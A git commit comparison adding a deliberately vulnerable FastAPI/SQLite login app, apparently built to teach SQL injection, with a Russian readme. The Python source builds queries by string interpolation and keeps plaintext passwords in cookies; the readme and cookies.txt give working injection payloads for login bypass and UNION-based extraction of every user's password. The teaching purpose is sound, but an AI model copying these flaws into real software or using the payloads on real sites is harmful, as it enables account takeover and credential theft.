Compare commits
7 Commits
master
...
06900e2768
| Author | SHA1 | Date | |
|---|---|---|---|
| 06900e2768 | |||
| a24c1f0957 | |||
| 3086d1801d | |||
| 5c4590ff16 | |||
| c7d8803795 | |||
| 9a1b84c267 | |||
| d3e5abbc98 |
4
.gitignore
vendored
Normal file
4
.gitignore
vendored
Normal file
@@ -0,0 +1,4 @@
|
||||
build
|
||||
.vscode
|
||||
**__pycache__
|
||||
data
|
||||
11
Dockerfile
Normal file
11
Dockerfile
Normal file
@@ -0,0 +1,11 @@
|
||||
FROM python:3.11-slim
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
COPY ./requirements.txt /app/requirements.txt
|
||||
|
||||
RUN pip install --no-cache-dir --upgrade -r /app/requirements.txt
|
||||
|
||||
COPY ./src /app/src
|
||||
|
||||
CMD ["fastapi","run", "./src/app.py"]
|
||||
7
compose.yaml
Normal file
7
compose.yaml
Normal file
@@ -0,0 +1,7 @@
|
||||
services:
|
||||
vunerable-web-app:
|
||||
image: kulesh_web-app:v0.0.1a
|
||||
ports:
|
||||
- "80:8000"
|
||||
volumes:
|
||||
- ./data/:/app/data
|
||||
6
cookies.txt
Normal file
6
cookies.txt
Normal file
@@ -0,0 +1,6 @@
|
||||
# Netscape HTTP Cookie File
|
||||
# https://curl.se/docs/http-cookies.html
|
||||
# This file was generated by libcurl! Edit at your own risk.
|
||||
|
||||
localhost FALSE / FALSE 0 password a
|
||||
localhost FALSE / FALSE 0 login "' or 1=1-- "
|
||||
112
readme.md
Normal file
112
readme.md
Normal file
@@ -0,0 +1,112 @@
|
||||
# Kulesh_Web_app - Уязвимое веб-приложение
|
||||
|
||||
Это уязвимое веб-приложение создано для демонстрации SQL-инъекций и других веб-уязвимостей. Приложение написано на Python с использованием FastAPI.
|
||||
|
||||
## Функциональность приложения
|
||||
|
||||
- ✅ Регистрация пользователей
|
||||
- ✅ Авторизация пользователей
|
||||
- ✅ Cookie-аутентификация
|
||||
- ✅ Страница приветствия для авторизованных пользователей
|
||||
- ✅ Docker-контейнеризация
|
||||
|
||||
## Сборка и запуск
|
||||
|
||||
### Сборка Docker-образа
|
||||
```bash
|
||||
docker build -t kulesh_web-app:v0.0.1a .
|
||||
```
|
||||
|
||||
### Запуск приложения
|
||||
```bash
|
||||
docker compose up
|
||||
```
|
||||
|
||||
Приложение будет доступно по адресу: http://localhost:8000
|
||||
|
||||
## Работа с CURL
|
||||
|
||||
### Регистрация пользователя Administrator
|
||||
```bash
|
||||
curl -X POST -d "login=Administrator&password=admin123" http://localhost:8000/register
|
||||
```
|
||||
|
||||
### Регистрация пользователя Kulesh_AS
|
||||
```bash
|
||||
curl -X POST -d "login=kulesh_as&password=mypass123" http://localhost:8000/register
|
||||
```
|
||||
|
||||
### Авторизация через CURL
|
||||
```bash
|
||||
curl -X POST -d "login=Administrator&password=admin123" -c cookies.txt http://localhost:8000/login
|
||||
```
|
||||
|
||||
### Доступ к защищенной странице
|
||||
```bash
|
||||
curl -b cookies.txt http://localhost:8000/welcome
|
||||
```
|
||||
|
||||
## ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ
|
||||
|
||||
### SQL-инъекция через форму авторизации
|
||||
|
||||
Приложение содержит критическую SQL-инъекцию в формах регистрации и авторизации. Уязвимый код:
|
||||
|
||||
```python
|
||||
cursor.execute(f"SELECT * FROM users WHERE login='{login}' AND password='{password}'")
|
||||
```
|
||||
|
||||
Данные пользователя напрямую подставляются в SQL-запрос без экранирования, что позволяет выполнять произвольные SQL-команды.
|
||||
|
||||
### Базовый обход аутентификации
|
||||
|
||||
**Payload для поля login:**
|
||||
```sql
|
||||
' OR 1=1--
|
||||
```
|
||||
|
||||
**Поле password:** (любое значение)
|
||||
|
||||
Этот payload закомментирует проверку пароля и войдет как первый пользователь в базе.
|
||||
|
||||
### Извлечение информации о базе данных
|
||||
|
||||
#### 1. Получение списка подключенных файлов БД:
|
||||
```sql
|
||||
' UNION SELECT 1, group_concat(name || ':' || file), 3 FROM pragma_database_list --
|
||||
```
|
||||
|
||||
#### 2. Получение списка пользовательских таблиц:
|
||||
```sql
|
||||
' UNION SELECT 1, group_concat(name), 3 FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%' --
|
||||
```
|
||||
|
||||
#### 3. Получение схем всех таблиц:
|
||||
```sql
|
||||
' UNION SELECT 1, group_concat(sql, char(10) || char(10)), 3 FROM sqlite_master WHERE type='table' --
|
||||
```
|
||||
|
||||
#### 4. Извлечение всех пользователей и паролей:
|
||||
```sql
|
||||
' UNION SELECT id, login, password FROM users --
|
||||
```
|
||||
|
||||
#### 5. Получение данных конкретного пользователя Administrator:
|
||||
```sql
|
||||
' UNION SELECT id, login, password FROM users WHERE login='Administrator' --
|
||||
```
|
||||
|
||||
### Пошаговая эксплуатация
|
||||
|
||||
1. **Откройте форму входа:** http://localhost:8000/login
|
||||
|
||||
2. **Введите базовый payload для обхода аутентификации:**
|
||||
- Login: `' OR 1=1--`
|
||||
- Password: `test`
|
||||
|
||||
3. **Для извлечения данных используйте UNION-based инъекцию:**
|
||||
- Login: `' UNION SELECT id, login, password FROM users --`
|
||||
- Password: `test`
|
||||
|
||||
4. **В ответе на странице приветствия вы увидите данные всех пользователей**
|
||||
|
||||
1
requirements.txt
Normal file
1
requirements.txt
Normal file
@@ -0,0 +1 @@
|
||||
fastapi[standard]
|
||||
154
src/app.py
Normal file
154
src/app.py
Normal file
@@ -0,0 +1,154 @@
|
||||
import sqlite3
|
||||
from fastapi import FastAPI
|
||||
from fastapi import Request, Form
|
||||
from fastapi.responses import HTMLResponse, RedirectResponse
|
||||
|
||||
DB_PATH = "./data/database.db"
|
||||
|
||||
conn = sqlite3.connect(DB_PATH)
|
||||
cursor = conn.cursor()
|
||||
cursor.execute(
|
||||
"CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, login TEXT NOT NULL UNIQUE, password TEXT NOT NULL)"
|
||||
)
|
||||
|
||||
app = FastAPI(
|
||||
docs_url=None, # Disable Swagger UI
|
||||
redoc_url=None, # Disable ReDoc
|
||||
openapi_url=None, # Disable OpenAPI JSON schema
|
||||
)
|
||||
|
||||
STYLES = """
|
||||
<style>
|
||||
body {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
min-height: 100vh;
|
||||
}
|
||||
</style>
|
||||
"""
|
||||
|
||||
|
||||
@app.get("/register", response_class=HTMLResponse)
|
||||
async def register_form():
|
||||
return f"""
|
||||
<html>
|
||||
<head><title>Регистрация</title>{STYLES}</head>
|
||||
<body>
|
||||
<h2>Регистрация</h2>
|
||||
<form action="/register" method="post">
|
||||
<input name="login" placeholder="Login" required><br>
|
||||
<input name="password" type="password" placeholder="Password" required><br>
|
||||
<button type="submit">Register</button>
|
||||
</form>
|
||||
<p>Уже есть аккаунт? <a href="/login">Войти</a></p>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
|
||||
@app.post("/register")
|
||||
async def register(login: str = Form(...), password: str = Form(...)):
|
||||
try:
|
||||
cursor.execute(
|
||||
f"INSERT INTO users (login, password) VALUES ('{login}', '{password}')"
|
||||
)
|
||||
conn.commit()
|
||||
response = RedirectResponse(url="/welcome", status_code=302)
|
||||
response.set_cookie("login", login)
|
||||
response.set_cookie("password", password)
|
||||
return response
|
||||
except sqlite3.IntegrityError:
|
||||
return HTMLResponse(
|
||||
f"""
|
||||
<html>
|
||||
<head><title>Ошибка регистрации</title>{STYLES}</head>
|
||||
<body>
|
||||
<h3>Login уже существует</h3>
|
||||
<a href='/register'>Попробовать снова</a>
|
||||
</body>
|
||||
</html>
|
||||
""",
|
||||
status_code=400,
|
||||
)
|
||||
|
||||
|
||||
@app.get("/login", response_class=HTMLResponse)
|
||||
async def login_form():
|
||||
return f"""
|
||||
<html>
|
||||
<head><title>Вход</title>{STYLES}</head>
|
||||
<body>
|
||||
<h2>Вход</h2>
|
||||
<form action="/login" method="post">
|
||||
<input name="login" placeholder="Login" required><br>
|
||||
<input name="password" type="password" placeholder="Password" required><br>
|
||||
<button type="submit">Login</button>
|
||||
</form>
|
||||
<p>Нет аккаунта? <a href="/register">Зарегистрироваться</a></p>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
|
||||
@app.post("/login")
|
||||
async def login(login: str = Form(...), password: str = Form(...)):
|
||||
cursor.execute(
|
||||
f"SELECT * FROM users WHERE login='{login}' AND password='{password}'"
|
||||
)
|
||||
user = cursor.fetchall()
|
||||
if user:
|
||||
response = RedirectResponse(url="/welcome", status_code=302)
|
||||
response.set_cookie("login", login)
|
||||
response.set_cookie("password", password)
|
||||
return response
|
||||
else:
|
||||
return HTMLResponse(
|
||||
f"""
|
||||
<html>
|
||||
<head><title>Ошибка входа</title>{STYLES}</head>
|
||||
<body>
|
||||
<h3>Неверные учетные данные</h3>
|
||||
<a href='/login'>Попробовать снова</a>
|
||||
</body>
|
||||
</html>
|
||||
""",
|
||||
status_code=401,
|
||||
)
|
||||
|
||||
|
||||
@app.get("/welcome", response_class=HTMLResponse)
|
||||
async def welcome(request: Request):
|
||||
login = request.cookies.get("login")
|
||||
password = request.cookies.get("password")
|
||||
if not login or not password:
|
||||
return RedirectResponse(url="/login")
|
||||
cursor.execute(
|
||||
f"SELECT login FROM users WHERE login='{login}' AND password='{password}'"
|
||||
)
|
||||
user = cursor.fetchall()
|
||||
if user:
|
||||
return f"""
|
||||
<html>
|
||||
<head><title>Добро пожаловать</title>{STYLES}</head>
|
||||
<body>
|
||||
<h1>Привет, {user}</h1>
|
||||
<button onclick="
|
||||
document.cookie = 'login=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
|
||||
document.cookie = 'password=; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/;';
|
||||
window.location.href = '/login';
|
||||
">Выйти</button>
|
||||
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
else:
|
||||
return RedirectResponse(url="/login")
|
||||
|
||||
|
||||
|
||||
@app.get("/", include_in_schema=False)
|
||||
async def root():
|
||||
return RedirectResponse(url="/login")
|
||||
Reference in New Issue
Block a user